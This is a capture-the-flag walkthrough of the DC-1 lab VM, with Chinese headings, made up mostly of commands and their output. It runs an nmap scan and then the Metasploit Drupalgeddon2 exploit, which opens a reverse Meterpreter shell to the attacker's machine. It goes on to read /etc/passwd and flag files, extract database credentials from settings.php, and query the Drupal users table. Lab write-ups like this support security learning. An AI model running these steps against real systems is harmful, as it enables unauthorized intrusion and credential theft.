Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-27 21:30 CST Nmap
scan report for 192.168.18.2 Host is up (0.00015s latency). MAC Address:
00:50:56:E0:DA:9A (VMware) Nmap scan report for 192.168.18.130 Host is
up (0.00018s latency). MAC Address: 00:0C:29:F4:40:B8 (VMware) Nmap scan
report for 192.168.18.254 Host is up (0.00036s latency). MAC Address:
00:50:56:F1:CD:81 (VMware) Nmap scan report for 192.168.18.131 Host is
up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.16 seconds
扫描靶机开放的端口
sudo nmap -sS 192.168.18.130
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-27 21:31 CST Nmap
scan report for 192.168.18.130 Host is up (0.000079s latency). Not
shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open
http 111/tcp open rpcbind MAC Address: 00:0C:29:F4:40:B8 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
msf6 > search drupal msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.18.130 msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit [*] Started reverse TCP handler on 192.168.18.131:4444 [*] Executing automatic check (disable AutoCheck to override) [!] The service is running, but could not be validated. [*] Sending stage (39282 bytes) to 192.168.18.130 [*] Meterpreter session 1 opened (192.168.18.131:4444 -> 192.168.18.130:43581) at 2021-04-28 20:26:27 +0800 meterpreter > getuid Server username: www-data (33) meterpreter > pwd /var/www meterpreter > ls Listing: /var/www meterpreter > shell Process 4653 created. Channel 3 created.
flag1
1 2 3 4
cd /var/www cat falg1.txt Every good CMS needs a config file - and so do you.
flag4
1 2 3 4 5 6 7 8 9 10
cat /etc/passwd 发现下面有个falg4 flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash cd /home/flag4 ls flag4.txt cat flag4.txt Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
查看网站配置 看有什么有用信息 cd /var/www/site/default ls default.settings.php files settings.php
cat settings.php <?php
/** * * flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials? * */ $databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );
www-data@DC-1:/var/www/sites/default$ mysql -u dbuser -p mysql -u dbuser -p Enter password: R0ck3t
Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 418639 Server version: 5.5.60-0+deb7u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql> show databases; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | drupaldb | +--------------------+ 2 rows in set (0.00 sec)
mysql> use drupaldb use drupaldb Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A
Database changed mysql> show tables from drupaldb; ... ... mysql> select * from users;
